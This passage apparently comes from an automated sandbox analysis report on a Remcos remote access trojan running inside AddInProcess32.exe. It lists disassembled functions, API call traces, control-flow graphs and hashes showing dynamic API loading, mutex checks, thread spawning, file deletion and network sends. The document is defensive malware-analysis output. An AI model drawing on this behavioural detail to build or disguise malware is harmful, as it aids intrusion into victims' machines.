                                                        • LoadLibraryA.KERNELBASE(Rstrtmgr,RmStartSession,?,?,?,?,0040EA1C), ref: 0041CDAA
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CDAD
                                                        • LoadLibraryA.KERNEL32(Rstrtmgr,RmRegisterResources,?,?,?,?,0040EA1C), ref: 0041CDBA
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CDBD
                                                        • LoadLibraryA.KERNEL32(Rstrtmgr,RmGetList,?,?,?,?,0040EA1C), ref: 0041CDCA
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CDCD
                                                        • LoadLibraryA.KERNEL32(Rstrtmgr,RmEndSession,?,?,?,?,0040EA1C), ref: 0041CDDA
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CDDD
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: AddressProc$LibraryLoad$HandleModule
                                                        • String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetFinalPathNameByHandleW$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtQueryInformationProcess$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$RmEndSession$RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
                                                        • API String ID: 4236061018-3687161714
                                                        • Opcode ID: 6b21e851a0d3a51eeec0044f2aae63c374cf6436741b915ef551e22e35f3a136
                                                        • Instruction ID: 87b5fa294a9840a4da0a94e675c49188b16ea4214af7843bc20054d8537ab592
                                                        • Opcode Fuzzy Hash: 6b21e851a0d3a51eeec0044f2aae63c374cf6436741b915ef551e22e35f3a136
                                                        • Instruction Fuzzy Hash: 06419AA0E8035879DA107BB65D8DE3B3E5CD9857953614837B05C93550FBBCDC408EAE
                                                        Function 00443355 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20COMMONLIBRARYCODE
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 465 443355-443361 call 448d49 468 443383-44338f call 4433da ExitProcess 465->468 469 443363-443371 GetPEB 465->469 469->468 470 443373-44337d GetCurrentProcess TerminateProcess 469->470 470->468
                                                        APIs
                                                        • GetCurrentProcess.KERNEL32(00000003,PkGNG,0044332B,00000003,0046E958,0000000C,00443482,00000003,00000002,00000000,PkGNG,004461B7,00000003), ref: 00443376
                                                        • TerminateProcess.KERNEL32(00000000), ref: 0044337D
                                                        • ExitProcess.KERNEL32 ref: 0044338F
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Process$CurrentExitTerminate
                                                        • String ID: PkGNG
                                                        • API String ID: 1703294689-263838557
                                                        • Opcode ID: 4e3b9aa1e9039f050651c305726e439f17232b6e89e74059b12d513dd76054c6
                                                        • Instruction ID: 4b22f3a5ffe79ca7dfb81d814e561f82a31e4bef9a776fe0bb9daccb8e878f4b
                                                        • Opcode Fuzzy Hash: 4e3b9aa1e9039f050651c305726e439f17232b6e89e74059b12d513dd76054c6
                                                        • Instruction Fuzzy Hash: 9FE0B635401608FBDF11AF55DE09A5D3BAAEB40B56F005469FC498A272CF79EE42CB88
                                                        Function 0040EA00 Relevance: 84.8, APIs: 14, Strings: 34, Instructions: 795COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 5 40ea00-40ea82 call 41cbe1 GetModuleFileNameW call 40f3fe call 4020f6 * 2 call 41beac call 40fb52 call 401e8d call 43fd50 22 40ea84-40eac9 call 40fbee call 401e65 call 401fab call 410f72 call 40fb9f call 40f3eb 5->22 23 40eace-40eb96 call 401e65 call 401fab call 401e65 call 40531e call 406383 call 401fe2 call 401fd8 * 2 call 401e65 call 401fc0 call 405aa6 call 401e65 call 4051e3 call 401e65 call 4051e3 5->23 49 40ef2d-40ef3e call 401fd8 22->49 69 40eb98-40ebe3 call 406c59 call 401fe2 call 401fd8 call 401fab call 413584 23->69 70 40ebe9-40ec04 call 401e65 call 40b9f8 23->70 69->70 102 40f38a-40f3a5 call 401fab call 4139e4 call 4124b0 69->102 79 40ec06-40ec25 call 401fab call 413584 70->79 80 40ec3e call 40d0a4 70->80 79->80 98 40ec27-40ec3d call 401fab call 4139e4 79->98 87 40ec43-40ec45 80->87 88 40ec47-40ec49 87->88 89 40ec4e-40ec55 87->89 92 40ef2c 88->92 93 40ec57 89->93 94 40ec59-40ec65 call 41b354 89->94 92->49 93->94 104 40ec67-40ec69 94->104 105 40ec6e-40ec72 94->105 98->80 124 40f3aa-40f3db call 41bcef call 401f04 call 413a5e call 401f09 * 2 102->124 104->105 108 40ecb1-40ecc4 call 401e65 call 401fab 105->108 109 40ec74-40ec7b call 407751 105->109 127 40ecc6 call 407790 108->127 128 40eccb-40ed53 call 401e65 call 41bcef call 401f13 call 401f09 call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab 108->128 121 40ec87-40ec9a call 401e65 call 401fab 109->121 122 40ec7d-40ec82 call 407773 call 40729b 109->122 121->108 141 40ec9c-40eca2 121->141 122->121 157 40f3e0-40f3ea call 40dd7d call 414f65 124->157 127->128 177 40ed55-40ed6e call 401e65 call 401fab call 43bb56 128->177 178 40edbb-40edbf 128->178 141->108 144 40eca4-40ecaa 141->144 144->108 147 40ecac call 40729b 144->147 147->108 177->178 202 40ed70-40ed74 call 401e65 177->202 179 40ef41-40efa1 call 436f10 call 40247c call 401fab * 2 call 413733 call 409092 178->179 180 40edc5-40edcc 178->180 233 40efa6-40effa call 401e65 call 401fab call 402093 call 401fab call 4137aa call 401e65 call 401fab call 43bb2c 179->233 182 40ee4a-40ee54 call 409092 180->182 183 40edce-40ee48 call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 40ce34 180->183 192 40ee59-40ee7d call 40247c call 434829 182->192 183->192 210 40ee8c 192->210 211 40ee7f-40ee8a call 436f10 192->211 212 40ed79-40edb6 call 401fab call 401e65 call 401fab call 40da6f call 401f13 call 401f09 202->212 216 40ee8e-40ef03 call 401f04 call 43f859 call 40247c call 401fab call 40247c call 401fab call 413982 call 434832 call 401e65 call 40b9f8 210->216 211->216 212->178 216->233 288 40ef09-40ef28 call 401e65 call 41bcef call 40f4af 216->288 286 40f017-40f019 233->286 287 40effc 233->287 290 40f01b-40f01d 286->290 291 40f01f 286->291 289 40effe-40f015 call 41ce2c CreateThread 287->289 288->233 306 40ef2a 288->306 294 40f025-40f101 call 402093 * 2 call 41b580 call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 43bb2c call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab StrToIntA call 409e1f call 401e65 call 401fab 289->294 290->289 291->294 344 40f103-40f13a call 43455e call 401e65 call 401fab CreateThread 294->344 345 40f13c 294->345 306->92 347 40f13e-40f156 call 401e65 call 401fab 344->347 345->347 356 40f194-40f1a7 call 401e65 call 401fab 347->356 357 40f158-40f18f call 43455e call 401e65 call 401fab CreateThread 347->357 368 40f207-40f21a call 401e65 call 401fab 356->368 369 40f1a9-40f202 call 401e65 call 401fab call 401e65 call 401fab call 40da23 call 401f13 call 401f09 CreateThread 356->369 357->356 379 40f255-40f279 call 41b69e call 401f13 call 401f09 368->379 380 40f21c-40f250 call 401e65 call 401fab call 401e65 call 401fab call 43bb2c call 40c19d 368->380 369->368 400 40f27b 379->400 401 40f27e-40f291 CreateThread 379->401 380->379 400->401 404 40f293-40f29d CreateThread 401->404 405 40f29f-40f2a6 401->405 404->405 408 40f2b4-40f2bb 405->408 409 40f2a8-40f2b2 CreateThread 405->409 412 40f2c9 408->412 413 40f2bd-40f2c0 408->413 409->408 415 40f2ce-40f302 call 402093 call 4052fd call 402093 call 41b580 call 401fd8 412->415 416 40f2c2-40f2c7 413->416 417 40f307-40f322 call 401fab call 41353a 413->417 415->417 416->415 417->157 428 40f328-40f368 call 41bcef call 401f04 call 413656 call 401f09 call 401f04 417->428 443 40f381-40f386 DeleteFileW 428->443 444 40f388 443->444 445 40f36a-40f36d 443->445 444->124 445->124 446 40f36f-40f37c Sleep call 401f04 445->446 446->443
                                                        APIs
                                                          • Part of subcall function 0041CBE1: LoadLibraryA.KERNELBASE(Psapi,GetProcessImageFileNameW,?,?,?,?,0040EA1C), ref: 0041CBF6
                                                          • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000), ref: 0041CBFF
                                                          • Part of subcall function 0041CBE1: GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040EA1C), ref: 0041CC16
                                                          • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000), ref: 0041CC19
                                                          • Part of subcall function 0041CBE1: LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0040EA1C), ref: 0041CC2B
                                                          • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000), ref: 0041CC2E
                                                          • Part of subcall function 0041CBE1: LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,0040EA1C), ref: 0041CC3F
                                                          • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000), ref: 0041CC42
                                                          • Part of subcall function 0041CBE1: LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,0040EA1C), ref: 0041CC54
                                                          • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000), ref: 0041CC57
                                                          • Part of subcall function 0041CBE1: LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,0040EA1C), ref: 0041CC63
                                                          • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000), ref: 0041CC66
                                                          • Part of subcall function 0041CBE1: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040EA1C), ref: 0041CC77
                                                          • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000), ref: 0041CC7A
                                                          • Part of subcall function 0041CBE1: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040EA1C), ref: 0041CC8B
                                                          • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000), ref: 0041CC8E
                                                          • Part of subcall function 0041CBE1: LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0040EA1C), ref: 0041CC9F
                                                          • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000), ref: 0041CCA2
                                                          • Part of subcall function 0041CBE1: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040EA1C), ref: 0041CCB3
                                                          • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000), ref: 0041CCB6
                                                          • Part of subcall function 0041CBE1: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040EA1C), ref: 0041CCC7
                                                          • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000), ref: 0041CCCA
                                                          • Part of subcall function 0041CBE1: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040EA1C), ref: 0041CCDB
                                                          • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000), ref: 0041CCDE
                                                          • Part of subcall function 0041CBE1: GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040EA1C), ref: 0041CCEF
                                                          • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000), ref: 0041CCF2
                                                          • Part of subcall function 0041CBE1: GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040EA1C), ref: 0041CD03
                                                          • Part of subcall function 0041CBE1: GetProcAddress.KERNEL32(00000000), ref: 0041CD06
                                                          • Part of subcall function 0041CBE1: LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,0040EA1C), ref: 0041CD14
                                                        • GetModuleFileNameW.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe,00000104), ref: 0040EA29
                                                          • Part of subcall function 00410F72: __EH_prolog.LIBCMT ref: 00410F77
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: AddressProc$Module$Handle$LibraryLoad$FileH_prologName
                                                        • String ID: SG$ SG$8SG$8SG$Access Level: $Administrator$C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe$Exe$Inj$PSG$Remcos Agent initialized$Software\$User$dMG$del$del$exepath$licence$license_code.txt$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG
                                                        • API String ID: 2830904901-2361045106
                                                        • Opcode ID: faaf597f9ba31a578cff63a99c76a37e9239b7d9982a30c10bb73a990bef0fa7
                                                        • Instruction ID: f870588dacc207cf398a21a9077505b2b75b96970711a81e27f166ce8512e3fa
                                                        • Opcode Fuzzy Hash: faaf597f9ba31a578cff63a99c76a37e9239b7d9982a30c10bb73a990bef0fa7
                                                        • Instruction Fuzzy Hash: 9B32F960B043412BDA24B7729C57B7E26994F80748F50483FB9467B2E3EEBC8D45839E
                                                        Function 00404E26 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 65synchronizationCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        • WaitForSingleObject.KERNEL32(?,000000FF,00000000,00474EF8,PkGNG,00000000,00474EF8,00404CA8,00000000,?,?,?,00474EF8,?), ref: 00404E38
                                                        • SetEvent.KERNEL32(?), ref: 00404E43
                                                        • CloseHandle.KERNELBASE(?), ref: 00404E4C
                                                        • closesocket.WS2_32(?), ref: 00404E5A
                                                        • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404E91
                                                        • SetEvent.KERNEL32(?), ref: 00404EA2
                                                        • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404EA9
                                                        • SetEvent.KERNEL32(?), ref: 00404EBA
                                                        • CloseHandle.KERNEL32(?), ref: 00404EBF
                                                        • CloseHandle.KERNEL32(?), ref: 00404EC4
                                                        • SetEvent.KERNEL32(?), ref: 00404ED1
                                                        • CloseHandle.KERNEL32(?), ref: 00404ED6
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseEventHandle$ObjectSingleWait$closesocket
                                                        • String ID: PkGNG
                                                        • API String ID: 3658366068-263838557
                                                        • Opcode ID: 1684f4f73009feb69d70dfcf302ee3e014c0b3edf4bc9f5cbab22c6bf1399946
                                                        • Instruction ID: 681aebbacbf541c1c6cd6dfca6fba55586e42b113d9ea1c0d4e3a90daa9851ad
                                                        • Opcode Fuzzy Hash: 1684f4f73009feb69d70dfcf302ee3e014c0b3edf4bc9f5cbab22c6bf1399946
                                                        • Instruction Fuzzy Hash: DE21EA71154B04AFDB216B26DC49B1BBBA1FF40326F104A2DE2E211AF1CB79B851DB58
                                                        Function 004485E6 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 473 4485e6-4485fa 474 448607-448622 LoadLibraryExW 473->474 475 4485fc-448605 473->475 476 448624-44862d GetLastError 474->476 477 44864b-448651 474->477 478 44865e-448660 475->478 479 44863c 476->479 480 44862f-44863a LoadLibraryExW 476->480 481 448653-448654 FreeLibrary 477->481 482 44865a 477->482 483 44863e-448640 479->483 480->483 481->482 484 44865c-44865d 482->484 483->477 485 448642-448649 483->485 484->478 485->484
                                                        APIs
                                                        • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,0044858D,?,00000000,00000000,00000000,?,004488B9,00000006,FlsSetValue), ref: 00448618
                                                        • GetLastError.KERNEL32(?,0044858D,?,00000000,00000000,00000000,?,004488B9,00000006,FlsSetValue,0045F170,0045F178,00000000,00000364,?,00448367), ref: 00448624
                                                        • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0044858D,?,00000000,00000000,00000000,?,004488B9,00000006,FlsSetValue,0045F170,0045F178,00000000), ref: 00448632
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: LibraryLoad$ErrorLast
                                                        • String ID:
                                                        • API String ID: 3177248105-0
                                                        • Opcode ID: 8f9b5e85c90ff7ccd8dc2bf5dda10acfb836c822a6cf5ef36d60eb5c9189937f
                                                        • Instruction ID: 239c22332ac31c5199b3ba4764290be2907fca328f5d1df1ca03bb1201a614b6
                                                        • Opcode Fuzzy Hash: 8f9b5e85c90ff7ccd8dc2bf5dda10acfb836c822a6cf5ef36d60eb5c9189937f
                                                        • Instruction Fuzzy Hash: D401FC32602322EBDB618A78EC4495F7758AF15BA2B22093AF909D3241DF24DC01C6EC
                                                        Function 0040D0A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 486 40d0a4-40d0d0 call 401fab CreateMutexA GetLastError
                                                        APIs
                                                        • CreateMutexA.KERNELBASE(00000000,00000001,00000000,0040EC43,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,004660CC,00000003,00000000), ref: 0040D0B3
                                                        • GetLastError.KERNEL32 ref: 0040D0BE
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CreateErrorLastMutex
                                                        • String ID: SG
                                                        • API String ID: 1925916568-3189917014
                                                        • Opcode ID: eabddf02165d7cb7ab60b975d5c9d75332e346c4e6257b5baf50d4a4f7034b19
                                                        • Instruction ID: 57749e379dff282fb0cfe370275dd79dddcb706c5168e3a31171962593876721
                                                        • Opcode Fuzzy Hash: eabddf02165d7cb7ab60b975d5c9d75332e346c4e6257b5baf50d4a4f7034b19
                                                        • Instruction Fuzzy Hash: 0DD012B0605700EBDB186770ED5975839559744702F40487AB50FD99F1CBBC88908519
                                                        Function 0044854A Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 489 44854a-448574 490 448576-448578 489->490 491 4485df 489->491 492 44857e-448584 490->492 493 44857a-44857c 490->493 494 4485e1-4485e5 491->494 495 448586-448588 call 4485e6 492->495 496 4485a0 492->496 493->494 499 44858d-448590 495->499 498 4485a2-4485a4 496->498 500 4485a6-4485b4 GetProcAddress 498->500 501 4485cf-4485dd 498->501 502 4485c1-4485c7 499->502 503 448592-448598 499->503 504 4485b6-4485bf call 434591 500->504 505 4485c9 500->505 501->491 502->498 503->495 506 44859a 503->506 504->493 505->501 506->496
                                                        APIs
                                                        • GetProcAddress.KERNEL32(00000000,?), ref: 004485AA
                                                        • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 004485B7
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: AddressProc__crt_fast_encode_pointer
                                                        • String ID:
                                                        • API String ID: 2279764990-0
                                                        • Opcode ID: c6cf5396499d17f56fb6a2281c71017d1bec5fc69850f55703e39bd70672811c
                                                        • Instruction ID: be9fc4cf4793659cabcfb8eeb6b3f823a3a139bea871a56029073562aa2b3f0c
                                                        • Opcode Fuzzy Hash: c6cf5396499d17f56fb6a2281c71017d1bec5fc69850f55703e39bd70672811c
                                                        • Instruction Fuzzy Hash: 4B110637A00220BBFB229F1DDC4096F7395AB84364716866AFD19EB354DF34EC4186D9
                                                        Function 0040165E Relevance: 3.0, APIs: 2, Instructions: 32COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 509 40165e-401664 510 401666-401668 509->510 511 401669-401674 509->511 512 401676 511->512 513 40167b-401685 511->513 512->513 514 401687-40168d 513->514 515 4016a8-4016a9 call 43455e 513->515 514->515 516 40168f-401694 514->516 519 4016ae-4016af 515->519 516->512 518 401696-4016a6 call 43455e 516->518 521 4016b1-4016b3 518->521 519->521
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 9ebd29a8193938baf2c5ce5f6ec3a3ea5040e3c3e83895a942c6279db0e0dd98
                                                        • Instruction ID: 1e9d0a06bdb6e9f7b23a96960dfc4b712b0be9606a3b942e14a6d4fe6a34620f
                                                        • Opcode Fuzzy Hash: 9ebd29a8193938baf2c5ce5f6ec3a3ea5040e3c3e83895a942c6279db0e0dd98
                                                        • Instruction Fuzzy Hash: EBF0E2706042016BCB0C8B34CD50B2A37954B84325F248F7FF02BD61E0C73EC8918A0D
                                                        Function 00450154 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 537 450154-450161 call 445b74 539 450166-450171 537->539 540 450177-45017f 539->540 541 450173-450175 539->541 542 4501bf-4501cd call 446802 540->542 543 450181-450185 540->543 541->542 545 450187-4501b9 call 448b04 543->545 549 4501bb-4501be 545->549 549->542
                                                        APIs
                                                          • Part of subcall function 00445B74: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0044834A,00000001,00000364,?,00000000,?,0043BCD6,00000000,?,?,0043BD5A,00000000), ref: 00445BB5
                                                        • _free.LIBCMT ref: 004501C0
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: AllocateHeap_free
                                                        • String ID:
                                                        • API String ID: 614378929-0
                                                        • Opcode ID: 60f99f4f74d771fb4a1326b0b926bb5a841854500e0a6ddc8464f8a9dc27050b
                                                        • Instruction ID: 1bf88885f7a62dfe3e195aa205353632c6f85cb380d5d404dcdd82bf2c99678c
                                                        • Opcode Fuzzy Hash: 60f99f4f74d771fb4a1326b0b926bb5a841854500e0a6ddc8464f8a9dc27050b
                                                        • Instruction Fuzzy Hash: DB014976200744ABE731CF6ACC42D5AFBD8EB85370F25062EE58483281EB34A909C779
                                                        Function 00445B74 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 550 445b74-445b7f 551 445b81-445b8b 550->551 552 445b8d-445b93 550->552 551->552 553 445bc1-445bcc call 44062d 551->553 554 445b95-445b96 552->554 555 445bac-445bbd RtlAllocateHeap 552->555 559 445bce-445bd0 553->559 554->555 556 445bbf 555->556 557 445b98-445b9f call 4455c6 555->557 556->559 557->553 563 445ba1-445baa call 443001 557->563 563->553 563->555
                                                        APIs
                                                        • RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0044834A,00000001,00000364,?,00000000,?,0043BCD6,00000000,?,?,0043BD5A,00000000), ref: 00445BB5
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: AllocateHeap
                                                        • String ID:
                                                        • API String ID: 1279760036-0
                                                        • Opcode ID: ce26be8ca3846e5000c6f53c40b97d329a66d538f9906bf99632d42dae41b906
                                                        • Instruction ID: ef76d3429b2572ee2e16b707a9c356192af24cfd4e901c13b73aaad13af6506a
                                                        • Opcode Fuzzy Hash: ce26be8ca3846e5000c6f53c40b97d329a66d538f9906bf99632d42dae41b906
                                                        • Instruction Fuzzy Hash: BEF0B431500F65ABBF222E22AC05E5B3769DB81770B14412BB914EA286CA38FC0186AC
                                                        Function 004461B8 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 566 4461b8-4461c4 567 4461f6-446201 call 44062d 566->567 568 4461c6-4461c8 566->568 575 446203-446205 567->575 570 4461e1-4461f2 RtlAllocateHeap 568->570 571 4461ca-4461cb 568->571 572 4461f4 570->572 573 4461cd-4461d4 call 4455c6 570->573 571->570 572->575 573->567 578 4461d6-4461df call 443001 573->578 578->567 578->570
                                                        APIs
                                                        • RtlAllocateHeap.NTDLL(00000000,00435349,?,?,004388C7,?,?,00000000,00476B50,?,0040DE9D,00435349,?,?,?,?), ref: 004461EA
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: AllocateHeap
                                                        • String ID:
                                                        • API String ID: 1279760036-0
                                                        • Opcode ID: 9dc7fa543976cc1aa64452a14dec52ea5ded8d4e1ebcbf177ce858167d1c4c1d
                                                        • Instruction ID: 139fbca062bb8bf671a891d82c3cf8fc988f9ce198a1a8b78c24da0334343556
                                                        • Opcode Fuzzy Hash: 9dc7fa543976cc1aa64452a14dec52ea5ded8d4e1ebcbf177ce858167d1c4c1d
                                                        • Instruction Fuzzy Hash: CEE0E531A0021267F6312A269C01B5B76599B437A0F170137AD15922D2CE6CCD0181EF

                                                        Non-executed Functions

                                                        Function 00407CD2 Relevance: 44.6, APIs: 10, Strings: 15, Instructions: 835filesleepCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetEvent.KERNEL32(?,?), ref: 00407CF4
                                                        • GetFileAttributesW.KERNEL32(00000000,00000000,?), ref: 00407DC2
                                                        • DeleteFileW.KERNEL32(00000000), ref: 00407DE4
                                                          • Part of subcall function 0041C322: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,00474EE0,?), ref: 0041C37D
                                                          • Part of subcall function 0041C322: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,00474EE0,?), ref: 0041C3AD
                                                          • Part of subcall function 0041C322: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,00474EE0,?), ref: 0041C402
                                                          • Part of subcall function 0041C322: FindClose.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C463
                                                          • Part of subcall function 0041C322: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C46A
                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                          • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                          • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,00401A45,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000), ref: 00404B47
                                                          • Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000,?,?,?,?,?,00401A45), ref: 00404B75
                                                        • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 004081D2
                                                        • GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004082B3
